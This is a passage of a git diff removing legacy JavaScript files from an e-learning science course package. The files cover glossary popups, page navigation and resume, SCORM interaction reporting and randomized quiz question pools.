-iPopupHead += ".definition {font-family: Verdana, Arial, Helvetica, sans-serif;	font-size:12px;	font-weight: normal;color: #555555;text-decoration: none;}";
-iPopupHead += "--></style> </head>";
-
-
-
-
-
-function showGlossary(pTerm,pDefn){
-	if(pDefn){
-		if( opelapi ){
-			opelapi.showGlossary(pTerm,pDefn);
-		}
-		else{
-			var tString = iPopupHead;
-			tString += "<table> <TR >   <TD  class='title'>  Glossary </TD></TR>  ";
-			tString += "<TR><TD class='term'>" + pTerm +" </TD></TR>  ";
-			tString += "<TR><TD class='definition'>" + pDefn +" </TD></TR>  ";		
-			tString += "<TR><td class='definition'>&nbsp;</td></TR>  ";				
-			tString += "</TABLE> <hr style='color: #00009C;'> </body></html>";
-			writeToPopup(tString);
-			//alert("Show in Pop Up");
-		}
-	}else{
-		if( opelapi ){
-			var definition	=	getDefinition(pTerm);
-			opelapi.showGlossary(pTerm,definition);
-		}
-		else{
-			var tString = iPopupHead;
-			tString += "<table> <TR >   <TD  class='title'>  Glossary </TD></TR>  ";
-			tString += "<TR><TD class='term'>" + pTerm +" </TD></TR>  ";
-			tString += "<TR><TD class='definition'>" + definition +" </TD></TR>  ";		
-			tString += "<TR><td class='definition'>&nbsp;</td></TR>  ";				
-			tString += "</TABLE> <hr style='color: #00009C;'> </body></html>";
-			writeToPopup(tString);
-			//alert("Show in Pop Up");
-		}
-	}	
-}
-
-
-
-
-function showTip(pTip){
-	if( opelapi ){
-		opelapi.showTip(pTip);
-	}
-	else{
-		var tString = iPopupHead;;
-		tString += "<table><TR >   <TD class='title'>  Tips </TD></TR>  ";
-  		tString += "<TR><td class='definition'>" + pTip +" </td></TR>  ";
-  		tString += "<TR><td class='definition'>&nbsp;</td></TR>  ";		
-		tString += "</TABLE>  <hr style='color: #00009C;'></body></html>";
-		writeToPopup(tString);	
-	}
-}
-
-
-
-
-function showResources(){
-	if( opelapi ){
-		opelapi.showResources();
-	}
-	else{
-		var tString = iPopupHead;;
-		tString += "<table><TR >   <TD class='title'>  Not implemented! </TD></TR>  ";
-  		tString += "<TR><td class='definition'> Sorry! This feature is currently being implemented.</td></TR>  ";
-		tString += "</TABLE></body></html>";
-		writeToPopup(tString);	
-	}
-}
-
-
-
-
-function showTutor(){
-	if( opelapi ){
-		opelapi.showTutor();
-	}
-	else{
-		var tString = iPopupHead;;
-		tString += "<table><TR >   <TD class='title'>  Oops! </TD></TR>  ";
-  		tString += "<TR><td class='definition'> Sorry! This feature is not supported in the current learning environment. </td></TR>  ";
-		tString += "</TABLE></body></html>";
-		writeToPopup(tString);	
-	}
-}
-
-
-
-
-function showNotes(){
-	if( opelapi ){
-		opelapi.showNotes();
-	}
-	else{
-		var tString = iPopupHead;;
-		tString += "<table><TR >   <TD class='title'>  Oops! </TD></TR>  ";
-  		tString += "<TR><td class='definition'> Sorry! This feature is not supported in the current learning environment. </td></TR>  ";
-		tString += "</TABLE></body></html>";
-		writeToPopup(tString);
-	}
-}
-
-
-
-
-function showCertificate(){
-	if( opelapi ){
-		opelapi.handleCertificate();
-	}
-}
-
-
-
-function gotoMainMenu(){
-	if( opelapi ){
-		opelapi.gotoMainMenu();
-	}
-	else{
-		var tString = iPopupHead;;
-		tString += "<table><TR >   <TD class='title'>  Oops! </TD></TR>  ";
-  		tString += "<TR><td class='definition'> Sorry! This feature is not supported in the current learning environment. </td></TR>  ";
-		tString += "</TABLE></body></html>";
-		writeToPopup(tString);
-	}	
-}
-
-
-
-
-
-
-function courseMenu(){
-	if( opelapi ){
-		opelapi.gotoMainMenu();
-	}
-	else{
-		var tString = iPopupHead;;
-		tString += "<table><TR >   <TD class='title'>  Oops! </TD></TR>  ";
-  		tString += "<TR><td class='definition'> Sorry! This feature is not supported in the current learning environment. </td></TR>  ";
-		tString += "</TABLE></body></html>";
-		writeToPopup(tString);
-	}	
-}
-
-
-
-
-
-
-function getTermFromGlossary(pTermName){
-	return glossaryObject.getTerm(pTermName);
-}
-
-
-function termExists(pTermName){
-	return glossaryObject.termExists(pTermName);
-}
-
-
-
-function getTermList(){
-	return glossaryObject.getTermList();
-}
-
-
-
-function getTermCount(){
-	return glossaryObject.getTermCount();
-}
-
-
-
-function getDefinition(pTermName){
-	if(glossaryObject.termExists(pTermName)){
-		return glossaryObject.getTerm(pTermName).getDefinition();
-	}else{
-		return null;
-	}	
-}
-
-
-
-function getDefinitionAt(pTermName , pIndex){
-	if(glossaryObject.termExists(pTermName)){
-		return glossaryObject.getTerm(pTermName).getDefinitionAt(pIndex);
-	}else{
-		return null;
-	} 
-}
-
-
-
-function getAllDefinitions(pTermName){
-	if(glossaryObject.termExists(pTermName)){
-		return glossaryObject.getTerm(pTermName).getAllDefinitions();
-	}else{
-		return null;
-	}	
-}
-
-
-
-
-function getDefinitionCount(pTermName){
-	if(glossaryObject.termExists(pTermName)){
-		return glossaryObject.getTerm(pTermName).getDefinitionCount();
-	}else{
-		return null;
-	}	
-}
-
-
-
-function createTerm(pTermName , pDefinition){
-	return new GlossaryTerm(pTermName , pDefinition);
-}
-
-
-
-function addTermToGlossary(pTermObject){
-	glossaryObject.addTerm(pTermObject);
-}
-
-
-
-
-function getSortedGlossary(){
-	return glossaryObject.getSortedGlossary();
-}
-
-
-
-
-/// Private Variables and Functions , DO NOT USE THESE DIRECTLY
-
-
-var glossaryObject		=	new Glossary();
-
-
-
-function Glossary(){
-	this.glossaryList 	=	new Object();
-	
-		
-	this.addTerm		=	_addTerm;
-	this.getTerm	 	=	_getTerm;	
-	this.getTermList 	=	_getTermList;	
-	this.getTermCount	=	_getTermCount;
-	
-	this.getDefinition	=	_getDefinition;
-	this.getSortedGlossary 	=	_getSortedGlossary;
-		
-	this.termExists		=	_termExists;			
-	
-	function _addTerm(pGlossaryTermObject){
-		this.glossaryList[pGlossaryTermObject.getTerm()]	= 	pGlossaryTermObject;			
-	}
-	
-	function _getDefinition(pTermName){
-		var tGlossaryTerm 		= 	this.glossaryList[pTermName];
-		if(tGlossaryTerm){
-			return tGlossaryTerm.getDefinition();			
-		}
-		return null;
-	}
-	
-	function _getTermCount(){
-      		var key;
-		var counter	=	0;
-		for(key in this.glossaryList){
-			counter++;
-		}
-		return counter;	
-	}
-	
-	function _getSortedGlossary(){
-	  var terms = this.getTermList();
-	  var sortedGlossary = new Array();
-	 
-	  terms.sort();	
-	  for(j=0;j<terms.length;j++){
-	  	 sortedGlossary[sortedGlossary.length] = this.getTerm(terms[j]);
-	  }
-	  return sortedGlossary;
-	 }
-	
-	
-	function _getTerm(pTermName){
-	  	var key;
-		for(key in this.glossaryList){
-			if(pTermName == key){
-			   	return this.glossaryList[key]
-			}
-		}
-		return null;
-	}
-   
-   	function _getTermList(){
-		var termList = new Array();
-		var key;
-		for(key in this.glossaryList){
-			termList[termList.length]= key;
-		}
-		return termList;
-	} 
-
-	function _termExists(pTermName){
-		var exists   	=	false;
-		var tTerm	=	this.glossaryList[pTermName];
-		if(tTerm){
-			exists	=	true;
-		}
-		return exists;
-	}
-	
-}/// END OF GLOSSARY OBJECT DEFINITION
-
-
-
-function GlossaryTerm(pTermName,pDefinition){
-	
-	this.term 		= 	pTermName;
-	this.definitionList	=	new Array();
-	this.definitionList[0]	=	pDefinition;
-	
-	
-	this.addDefinition	=	_addDefinition;
-	
-	this.getDefinition	=	_getDefinition;
-	this.getDefinitionAt	=	_getDefinitionAt;	
-	this.getDefinitionCount	=	_getDefinitionCount;
-	this.getAllDefinitions	=	_getAllDefinitions;
-	
-	this.getTerm       	=	__getTerm;	
-	
-	
-	function _addDefinition(pDefinition){
-		this.definitionList[this.definitionList.length]	=	pDefinition;
-		warn("definitionListLength : " , this.definitionList.length);
-	}
-	
-	
-	function _getDefinition(){
-		var tDefinition	=	this.definitionList[0];
-		if(tDefinition){
-		    return tDefinition;	
-		}else{
-		    return null;	
-		}		
-	}
-	
-	
-	function _getDefinitionAt(pIndex){
-		var tDefinition		=	"";
-		if( !isNaN(pIndex) && pIndex > -1 && pIndex < this.definitionList.length){
-			tDefinition	=	this.definitionList[Math.floor(pIndex)];
-		}
-		return tDefinition;
-	}
-	
-    	function __getTerm(){
-		return this.term;
-	}
-
-    	function _getDefinitionCount(){
-    		return this.definitionList.length;
-    	}
-    	
-    	function _getAllDefinitions(){
-    		var tArray	=	new Array();
-    		var len		=	this.definitionList.length;
-    		var counter	=	0;
-    		
-    		while(counter < len){
-    			tArray[counter]	= this.definitionList[counter];	
-    			counter++;
-    		}
-    	 return tArray;	
-    	}
-    
-}/// END OF GLOSSARYTERM DEFINITION
-
-
- 
-
-
-function writeToPopup( tContent){
-	if( !iPopup || !window.csl_popup ){
-		iPopup = window.open("","csl_popup",",width=480,height=180,scrollbars=yes");
-	}
-	iPopup.document.write(tContent);
-	iPopup.document.close();
-	iPopup.focus();
-}
-
-
-function findOpelPresentationAPI(win){
-	//debugger;
-	var findAPITries = 0;
-	var tChildFrame;
-   	while ( win != null && win.OpelPresentationAPI == null ){
-		findAPITries++;     
-	
-      	if (findAPITries > 10) {
-			break;
-      	}      
-		tChildFrame = findInChildFrames(win);
-		if( tChildFrame){
-			return tChildFrame;
-		}
-      	win = win.parent;
-   	}
-   	
-   	
-
-   	if(!win || !win.OpelPresentationAPI) {
-	   	    if(win.opener){		
-	   		var API = findOpelPresentationAPI(win.opener);
-	   		return API;
-	   	    }		
-   	}
-   	
-   	if(win)	return win.OpelPresentationAPI;
-   	else return null;
-}
-
-
-function findInChildFrames(win){
-	for(i=0; i< win.frames.length ; i++ ){
-		if( win.frames[i].OpelPresentationAPI ){
-			return win.frames[i];
-		}
-	}
-	return null;
-}
-	
-
-function displayURLIfOnline(pURL,pWindowName,pFeatures){
-	if(opelapi){
-		var isOnline = opelapi.isOnline();
-		if(isOnline){
-			window.open(pURL,pWindowName,pFeatures);
-		}
-		else{
-			alert('You are in offline mode, please come online and check the link');
-		}
-	}
-	else{
-		window.open(pURL,pWindowName,pFeatures);
-	}
-}
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0501/shared/scripts/csl_interactionsadapter.js b/Explore/elr/Science/S0501/shared/scripts/csl_interactionsadapter.js
deleted file mode 100755
index dba251b..0000000
--- a/Explore/elr/Science/S0501/shared/scripts/csl_interactionsadapter.js
+++ /dev/null
@@ -1,42 +0,0 @@
-
-
-
-
-// version --- CSL_1.3.0.0
-
- 
-
-function saveAsCMIInteractions()
-{
-	var tQuestions	=	parent.quizheader.iFinalQuestions;
-	var tQuestion	=	null;
-	
-	var counter	=	0;
-	var size	=	tQuestions.length;
-	var interaction	=	null;
-	
-	while(counter < size)
-	{
-		tQuestion	=	tQuestions[counter];
-		interaction	=	getInteraction(tQuestion.id);
-		
-		if(tQuestion.type == "single" || tQuestion.type == "multiple" ){
-			interaction.type=	"choice";
-		}
-		
-		interaction.student_response	=	parent.quizheader.iUserAnswers[counter];
-		interaction.correct_response	=	parent.quizheader.iAnswersArray[counter];
-		interaction.weighting		=	"1";
-		
-		if(tQuestion.userResponse)
-		{
-			interaction.result	=	"correct";
-		}else{
-			interaction.result	=	"wrong";
-		}
-		addInteraction(interaction);
-		counter++;
-	}
-	
-	saveInteractions();
-}
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0501/shared/scripts/csl_navigation.js b/Explore/elr/Science/S0501/shared/scripts/csl_navigation.js
deleted file mode 100755
index 619f079..0000000
--- a/Explore/elr/Science/S0501/shared/scripts/csl_navigation.js
+++ /dev/null
@@ -1,405 +0,0 @@
-
-
-// version --- CSL_1.3.0.0
-
-
-
-var resume = false;
-
-
-var calculateStatus = true;
-
-var loadFirstPage 	= true;
-
-
-//
-//	Public functions
-//
-
-
-
-
-function setContentFrame(pFrame){
-	contentFrame = pFrame;	
-}
-
-
-
-function getContentFrame(){
-	return contentFrame;
-}
-
-
-
-
-function addPage(pageId,pageURL){
-	var tPage = new Page(pageId,pageURL);
-	pages[pages.length] = tPage;
-	tPage.index = Page.counter++;	
-	iAllowedScore += 1.0;
-}
-
-
-
-
-
-
-function gotoFirstPage(){
-	saveCurrentPageData();
-	var tPage = pages[0];
-	if( tPage ){
-		currentPage = 0;
-		if(setValue){
-			setValue(LESSON_LOCATION,tPage.pageURL);	
-		}
-		contentFrame.document.location.href = selfLocation + tPage.pageURL;
-	}	
-}
-
-// This function will take the user to the last visited page in the SCO.
-function gotoLastVisitedPage(){
-	if( getValue && resume){
-		var resumeLocation = getValue(LESSON_LOCATION);
-		if(checkResume(resumeLocation)){
-			setCurrentPage(resumeLocation);
-			contentFrame.document.location.href = resumeLocation;
-		}
-		else{
-			var tPage = pages[0];
-
-			if( tPage ){
-				currentPage = 0;
-				if(setValue){
-					setValue(LESSON_LOCATION,tPage.pageURL);	
-				}
-				contentFrame.document.location.href = selfLocation + tPage.pageURL;
-			}
-		}	
-	}
-	else{
-		gotoFirstPage();
-	}	
-}
-
-
-
-function gotoLastPage(){
-	saveCurrentPageData();
-	var tPage = pages[pages.length - 1];
-	if(tPage){
-		currentPage = pages.length - 1;
-		if(setValue){
-			setValue(LESSON_LOCATION,tPage.pageURL);	
-		}		
-		contentFrame.document.location.href = selfLocation + tPage.pageURL;
-	}
-}
-
-
-
-
-
-function gotoPreviousPage(){
-	saveCurrentPageData();
-	if( currentPage > 0 ){
-		var tIndex = currentPage - 1;
-		var tPage = pages[tIndex];
-		if( tPage ){
-			currentPage = tIndex;
-			if(setValue){
-				setValue(LESSON_LOCATION,tPage.pageURL);	
-			}
-			contentFrame.document.location.href = selfLocation + tPage.pageURL;
-		}
-	}
-}
-
-
-
-
-function gotoNextPage(){
-	saveCurrentPageData();
-	if( (currentPage + 1) < pages.length ){
-		var tIndex = currentPage + 1;
-		var tPage = pages[tIndex];
-		if( tPage ){
-			currentPage = tIndex;
-			if(setValue){
-				setValue(LESSON_LOCATION,tPage.pageURL);	
-			}	
-			contentFrame.document.location.href = selfLocation + tPage.pageURL;
-		}
-	}
-}
-
-
-function gotoPage(pageid){
-
-	saveCurrentPageData();
-	pageid = getPageIndex(pageid);
-	if( pageid < pages.length && pageid >= 0){
-		var tPage = pages[pageid];
-		if( tPage ){
-			currentPage = pageid;
-			if(setValue){
-				setValue(LESSON_LOCATION,tPage.pageURL);	
-			}
-			contentFrame.document.location.href = selfLocation + tPage.pageURL;
-		}
-	}
-	
-	
-}
-
-function launchSCO(){
-	getDataFromPersistence();
-	selfLocation = self.location.href.substring(0, self.location.href.lastIndexOf("/") +1 ) ;
-	if( loadFirstPage ){
-		gotoLastVisitedPage();
-	}
-}
-
-function exitSCO(){
-	updateData();
-}
-
-
-
-function setCurrentPageStatus(status){
-
-	var tPage = pages[currentPage];
-	if( tPage ){ 
-		if( status == "VISITED" ){
-			tPage.userScore = 1.0;
-			tPage.userStatus = VISITED;			
-		}
-		else if( status == "PASSED" ){
-			tPage.userScore = 1.0;
-			tPage.userStatus = PASSED;
-		}
-		else if( status == "REVIEW" ){
-			tPage.userScore = 0.0;
-			tPage.userStatus = REVIEW;
-		}
-		else{
-			tPage.userStatus = VISITED;
-		}
-	}	
-}
-
-// The following variable and functions are used internally within this Javascripts and hence 
-// should not be used outside this Javascript.
-
-
-var pages = new Array();
-// Current Page Index //
-var currentPage = -1;     
-// Content Frame , Represents the frame in which the SCO's html pages will be launched  
-var contentFrame = null; 
-
-// Resume Location //
-var LESSON_LOCATION = "cmi.core.lesson_location";   
-
-var iAllowedScore = 0.0;
-
-var iTotalUserScore = 0.0;
-var selfLocation = "";
-
-var UNVISITED 	= -1;
-var REVIEW		= 0;
-var VISITED 	= 1;
-var PASSED		= 2;
-
-var iUserStatus = "incomplete";
-
-
-
-function Page(pageId,pageURL){
-	this.pageId = pageId;
-	this.pageURL = pageURL;
-	this.index = 0;
-	
-	this.userStatus = UNVISITED;
-	this.userScore = 0.0;
-}
-Page.counter = 0;
-
-//
-//	This function is added so that the navigation controls can change their 
-//	Appearance if there isnt any next page
-//
-
-function hasNextPage(){
-	var retValue = false;
-	var tIndex = currentPage + 1;
-	if(pages[tIndex]){
-		retValue = true;		
-	}	
-	return retValue;	
-}
-
-//
-//	This function is added so that the navigation controls can change their 
-//	Appearance if there isnt any previous page
-//
-
-function hasPreviousPage(){
-	var retValue = false;
-	var tIndex = currentPage - 1;
-
-	if(pages[tIndex]){
-		retValue = true;		
-	}	
-	return retValue;	
-}
-
-
-function setCurrentPage(launchURL){
-	var size = pages.length;
-	var counter = 0;
-	var tPage = null;
-	matchFound = true;
-	
-	while(counter < size){
-		tPage = pages[counter];
-		if(tPage.pageURL == launchURL){
-			matchFound = true;
-			break;
-		}
-		counter++;
-	}
- 	if(!matchFound){
- 		currentPage = 0;
-	}else{
- 		currentPage = counter;
- 	}	
-}
-
-function saveCurrentPageData(){
-	if( currentPage > -1 ){
-		setCurrentPageStatus("VISITED");
-	}
-}
-
-function setPageStatus(pPageData){
-	//debugger;
-	var statusesData=	pPageData.split(';');
-	var length	=	statusesData.length;
-	var counter	=	0;
-	
-	var tData	=	"";
-	var tDataArray	=	null;
-	var pageId	=	"";
-	var pageStatus	=	"";
-	var pageStatuses=	new Object();
-	
-	// get all the statuses.
-	while( counter < length ){
-		tData	=	statusesData[counter] + "";
-		if(tData){
-			tDataArray=	tData.split(',');
-			pageId	=	tDataArray[0];// pageid is first .
-			pageStatus=	tDataArray[1];// status is next .
-		
-			pageStatuses[pageId]	=	pageStatus;
-		}	
-		counter++;
-	}
-	
-	// now set all of them.
-	for(pageindex = 0; pageindex < pages.length; pageindex++){
-		var tPage = pages[pageindex];
-		var tPageId = tPage.pageId + "";		
-		var tStatus;
-
-		if( tPage ){
-			tStatus	=	pageStatuses[tPageId];
-			
-			if(tStatus){
-				tStatus=	parseInt(tStatus);				
-			}
-			else{
-				tStatus	=	UNVISITED;
-			}
-			
-			tPage.userStatus=	tStatus;
-			if( tPage.userStatus > REVIEW ){
-				tPage.userScore = 1.0;
-			}
-			else{
-				tPage.userScore = 0.0;
-			}
-		}		
-	}
-}
-
-
-function getDataFromPersistence(){
-	var tPageData = "";
-	if( self.getElementFromSuspendData ){
-		tPageData = getElementFromSuspendData("page_data");
-	}
-	setPageStatus(tPageData);
-}
-
-function updateData(){
-	saveCurrentPageData();
-	var tString ="";
-	iTotalUserScore = 0;
-	for( i=0; i< pages.length; i++){
-		tPage = pages[i];
-		if( tPage ){	
-			if( tPage.userStatus > REVIEW ){
-				iTotalUserScore += tPage.userScore;
-			}
-			tString += tPage.pageId + "," + tPage.userStatus + ";";
-		}
-	}
-	
-	if( calculateStatus && iAllowedScore > 0 ){
-		if( iTotalUserScore >= iAllowedScore ){
-			iUserStatus = "completed";
-		}
-		else{
-			iUserStatus = "incomplete";
-		}
-		//setValue("cmi.core.score.raw",iTotalUserScore);
-		setValue("cmi.core.lesson_status",iUserStatus );		
-	}
-	if( self.addToSuspendData ){
-		addToSuspendData("page_data",tString);
-	}
-}
-
-
-function getPageIndex(pageid){
-	var tPage;
-	for( i=0; i < pages.length; i++){
-		tPage = pages[i];
-
-		if( tPage ){
-			if( tPage.pageId == pageid ){
-				return i;
-			}
-		}
-	}
-	return -1;
-}
-
-function checkResume(pLocation){
-	var isValid	=	false;
-	var counter	=	0;
-	var length	=	pages.length;
-	var location	=	null;
-	
-	while(counter < length){
-		location=	pages[counter].pageURL;
-		if(pLocation == location){
-			isValid	=	true;
-			break;
-		}
-		counter++;
-	}
-	
- return isValid;	
-}
diff --git a/Explore/elr/Science/S0501/shared/scripts/csl_randomassmt.js b/Explore/elr/Science/S0501/shared/scripts/csl_randomassmt.js
deleted file mode 100755
index 1538995..0000000
--- a/Explore/elr/Science/S0501/shared/scripts/csl_randomassmt.js
+++ /dev/null
@@ -1,2973 +0,0 @@
-
-
-
-// version --- CSL_1.3.0.0
-
-
-
-var passThreshold;
-
-
-
-var retainOrder = false;
-
-
-
-var isSingleQuestionPerPage=false;
-
-
-
-var isRandomized = true;
-
-var showPercentage = false;
-
-var repeatAcrossAttempts = true;
- 
-
- 
-var doAttemptAllAnswers = true;
-
-var resumeAssessment = false;
-
-
-
-
-
-
-var flashWidth=250;
-
-
-
-var flashHeight=250;
-
-
-function Answer(pText,pTrue){
-	this.text 			= pText;
-	this.correct			= pTrue;	
-}
-
- 
-
- 
-function Question(pId,pText,pType,pImageSRC){
-	
-	this.launchURL			= "";
-	this.id				= pId;
-	
-	this.index			= 0;
-	
-	this.questionIdCache		= new Object();
-	
-	this.text			= pText;
-	this.type			= pType;
-	this.image			= pImageSRC;
-	
-	this.correctFeedbackText = "";	
-	this.incorrectFeedbackText = "";	
-	this.mandatory      	  	= false;
-	this.leafQuestion   	  	= true;
-	this.mandatoryChildren 	  	= new Array();
-	this.randomChildren		= new Array(); 
-	this.numberOfQuestionsToReturn 	= 0;
-		
-	this.answers			= new Array();
-	this.addAnswer			= addAnswer;
-	this.isAdded			= false;
-	this.userResponse		= false;
-
-	this.toString		= questionToString;
-	
-	this.setCorrectFeedback = setCorrectFeedback;
-	this.setIncorrectFeedback = setIncorrectFeedback;	
-	this.setLaunchURL		= setLaunchURL;
-	this.getLaunchURL		= getLaunchURL;
-	
-	this.setId 			= setId;
-	this.getId			= getId;
-	
-	this.setMandatory 	  	= setMandatory;
-	this.getMandatory 	  	= getMandatory;
-		
-	this.isLeafQuestion         	= isLeafQuestion;
-	
-	this.setNumberOfQuestionsToReturn = setNumberOfQuestionsToReturn;
-	this.getNumberOfQuestionsToReturn = getNumberOfQuestionsToReturn;
-	
-	this.getTotalNumberOfQuestions    = getTotalNumberOfQuestions;
-	this.getNumberOfRandomQuestions	= getNumberOfRandomQuestions;
-	this.getNumberOfMandatoryQuestions= getNumberOfMandatoryQuestions;
-	
-	this.addQuestion 		  	= addQuestion;
-	this.addMandatoryQuestions	= addMandatoryQuestions;
-	this.getRandomQuestion		= getRandomQuestion;
-	this.getMandatoryQuestion	= getMandatoryQuestion;
-	this.getRandomizedQuestions       = getRandomizedQuestions;
-	
-	this.getDifferentRandomQuestions  = _getDifferentRandomQuestions;
-	this.getNumberOfPreviousQuestions = _getNumberOfPreviousQuestions;	
-	
-	this.getQuestionById		= getQuestionById;
-	this.containsQuestion		= containsQuestion;
-	
-	this.threshold			=	0;	// field is valid only for pool question objects.
-	this.setThreshold		=	_setThreshold;
-	this.getThreshold		=	_getThreshold;
-
-	this.rolledUpStatus		=	false;	// if the number of questions passed are more than threshold , value will be true.
-	this.getRolledUpStatus		=	_getRolledUpStatus;
-	
-	this.instructionText		=	"";
-	
-	this.setInstructionText		=	_setInstructionText;
-	this.getInstructionText		=	_getInstructionText;
-	
-	
-	//Added to suit the render functionality
-	this.questionRenderer					= 		_defaultQuestionRenderer;
-	this.resultRenderer						=	_defaultResultRenderer;
-	this.choiceRenderer						= _defaultChoiceRenderer;
-	this.resultChoiceRenderer			= _defaultResultChoiceRenderer;
-	this.defaultSummaryCorrectRenderer = _defaultSummaryCorrectRenderer;
-	this.defaultSummaryInCorrectRenderer=_defaultSummaryInCorrectRenderer;
-	this.defaultSummaryNotAttemptedRenderer= _defaultSummaryNotAttemptedRenderer;
-	this.getRenderer                =       _getRenderer;
-	this.getResultRenderer		=		_getResultRenderer;
-	this.getChoiceRenderer          =       _getChoiceRenderer;
-	this.getResultChoiceRenderer          = _getResultChoiceRenderer;	
-	this.InstructionTextRenderer=_defaultInstructionTextRenderer;
-	this.instantCorrectFeedbackRenderer=_defaultInstantCorrectFeedbackRenderer;
-	this.instantInCorrectFeedbackRenderer=_defaultInstantInCorrectFeedbackRenderer;
-
-
-}
-
-function getLaunchURL(){
-	return this.launchURL;
-}
-function setLaunchURL(pURL){
-	this.launchURL = pURL;
-}
-function setId(pId){
-	this.id = pId;
-}
-function getId(){
-	return this.id;
-}
-
- 
-
- 
-function _setInstructionText(pText){
-	this.instructionText	=	pText;
-}
-
-function _getInstructionText(){
-	return this.instructionText;
-}
-
-
-
-function setMandatory(pBoolean){
-	this.mandatory = pBoolean;
-}
-
-
-
-function setCorrectFeedback(pFeedback){
-	this.correctFeedbackText = pFeedback;
-}
-
-
-
-function setIncorrectFeedback(pFeedback){
-	this.incorrectFeedbackText = pFeedback;
-}
-
-
-function getMandatory(){
-	return this.mandatory;
-}
-
-function isLeafQuestion(){
-	return this.leafQuestion;
-} 
- 
- 
- 
-function addQuestion(pQuestion){
-	if(pQuestion.getMandatory()){
-		this.mandatoryChildren[this.mandatoryChildren.length]= pQuestion;
-	}else{	
-		this.randomChildren[this.randomChildren.length]	     = pQuestion;
-	}	
-	this.leafQuestion = false;
-	this.questionIdCache[pQuestion.getId()]	= true;	
-}
-
- 
- 
-
-function addAnswer(pIndex , pAnswer){
-	this.answers[pIndex] = pAnswer;
-}
-function getTotalNumberOfQuestions(){
-	return this.randomChildren.length + this.mandatoryChildren.length;
-}
-function getNumberOfRandomQuestions(){
-	return this.randomChildren.length;
-}
-function getNumberOfMandatoryQuestions(){
-	return this.mandatoryChildren.length;
-}
-
-  
-
-function setNumberOfQuestionsToReturn(pNumber){
-	var tNum	=	parseInt(pNumber);
-	
-	if(tNum >= 0 ){
-		if(tNum < this.mandatoryChildren.length || tNum > (this.mandatoryChildren.length + this.randomChildren.length))
-		{
-		    var message = "The Number Of Mandatory Questions are more than the number of questions you have asked"
-		    message += " or the total number of questions are less";
-		    alert(message);
-		}    
-		else
-		{
-		    this.numberOfQuestionsToReturn = tNum;
-		}	
-	}else{
-		alert("Enter a positive number for setNumberOfQuestionsToReturn");
-	}
-}
-
-function getNumberOfQuestionsToReturn(){
-	return this.numberOfQuestionsToReturn;
-}
-
-
-function getRandomQuestion(pIndex){
-	var retValue = null;
-	if(pIndex < this.randomChildren.length && pIndex >= 0){
-		retValue = this.randomChildren[pIndex];
-	}
-return retValue;	
-}
-
-function getMandatoryQuestion(pIndex){
-	var retValue = null;
-	if(pIndex < this.mandatoryChildren.length && pIndex >= 0){
-		retValue = this.mandatoryChildren[pIndex];
-	}
-return retValue;	
-}
-
-
-var tPoolQuestionOrder = "";
-
-function getRandomizedQuestions(pOrder,pArray , pIdCache){
-	
-	var numOfMandatory = this.getNumberOfMandatoryQuestions();
-	var numOfRandomQuestions = this.getNumberOfRandomQuestions() - 1;
-	var totalQuestions = this.getNumberOfQuestionsToReturn();
-	
-	var numberToRandomize = totalQuestions - numOfMandatory;
-	
-	var tQuestion	=	this.getRandomQuestion(0);
-	
-	if( !tQuestion ){
-		tQuestion	=	this.getMandatoryQuestion(0);    
-	}
-	// randomize the 'normal' way only if repeatAcrossAttempts is true OR repeatAcrossAttempts is false AND child questions are pools.
-	// the repeatAcrossAttempts logic is NOT applied to child pool questions.
-	
-	if( (!retainOrder && repeatAcrossAttempts) || (!retainOrder && !repeatAcrossAttempts && !tQuestion.isLeafQuestion())   ){
-		if(numberToRandomize >= 0 ){
-
-			tPoolQuestionOrder = "";
-			this.addMandatoryQuestions(pOrder,pArray , pIdCache);
-
-			var randomIndex = null;
-			var previousIndexCache = new Object();
-
-			var iterator = 0;
-			var tQuestion = null;
-
-			while(iterator < numberToRandomize){
-					if( isRandomized ){
-					   randomIndex = Math.round(Math.random()*numOfRandomQuestions);
-					 }
-					 else{
-						randomIndex = iterator;
-					 }
-					 // The following line is added to avoid an error thrown in Solaris/mozilla.
-					 randomIndex = parseInt( randomIndex );
-				   if(!previousIndexCache[randomIndex]){
-					tQuestion = this.getRandomQuestion(randomIndex);
-					if(tQuestion.isLeafQuestion()){ 
-						pArray[pArray.length] = tQuestion;
-						
-						// Added by Jayaprakash A
-						tQuestion.index = pArray.length -1;
-						
-						pOrder[ORDER] += tQuestion.getId() + ",";
-						tPoolQuestionOrder += tQuestion.getId() + ",";
-					}	
-					else{
-						//debugger;
-						tQuestion.getRandomizedQuestions(pOrder,pArray,pIdCache);
-					}	
-					previousIndexCache[randomIndex] = true;
-					++iterator;	
-				   }			
-			}
-		}
-	}else{
-		this.getDifferentRandomQuestions(pOrder , pArray , pIdCache);
-	}	
-	//addToSuspendData( this.id + "_pool" ,  tPoolQuestionOrder );
-	tPoolQuestionOrder = "";
-	return pArray;	
-}
-
-function _getDifferentRandomQuestions(pOrder , pArray , pPreviousQuestionsCache){
-	var numOfMandatory = this.getNumberOfMandatoryQuestions();
-	var numOfRandomQuestions = this.getNumberOfRandomQuestions() - 1;
-	var totalQuestions = this.getNumberOfQuestionsToReturn();
-	
-	var numberToRandomize = totalQuestions - numOfMandatory;
-	
-	//debugger;
-	var numberOfPreviousQuestions	=	this.getNumberOfPreviousQuestions(pPreviousQuestionsCache);
-	//alert("numberOfPreviousQuestions== "+numberOfPreviousQuestions);
-	//alert("this.getTotalNumberOfQuestions()== "+this.getTotalNumberOfQuestions());
-	if( numberOfPreviousQuestions < this.getTotalNumberOfQuestions() ){
-		if(numberToRandomize >= 0 ){
-
-			tPoolQuestionOrder = "";
-			this.addMandatoryQuestions(pOrder,pArray , pPreviousQuestionsCache);
-
-			var randomIndex = null;
-			var previousIndexCache = new Object();
-
-			var iterator = 0;
-			var tQuestion = null;
-
-			while(iterator < numberToRandomize){
-					if( isRandomized ){
-					   randomIndex = Math.round(Math.random()*numOfRandomQuestions);
-					 }
-					 else{
-						randomIndex = iterator;
-					 }
-					 // The following line is added to avoid an error thrown in Solaris/mozilla.
-					 randomIndex = parseInt( randomIndex );			 
-				   if(!previousIndexCache[randomIndex]){
-					tQuestion = this.getRandomQuestion(randomIndex);
-					if( !pPreviousQuestionsCache[tQuestion.getId()] ){
-
-						if(tQuestion.isLeafQuestion()){ 
-							pArray[pArray.length] = tQuestion;
-							
-							// Added by Jayaprakash A
-							tQuestion.index = pArray.length -1;
-							
-							pOrder[ORDER] += tQuestion.getId() + ",";
-							tPoolQuestionOrder += tQuestion.getId() + ",";
-						}
-						// this should never be the case , since this pool contains only leaf child questions.
-						else{
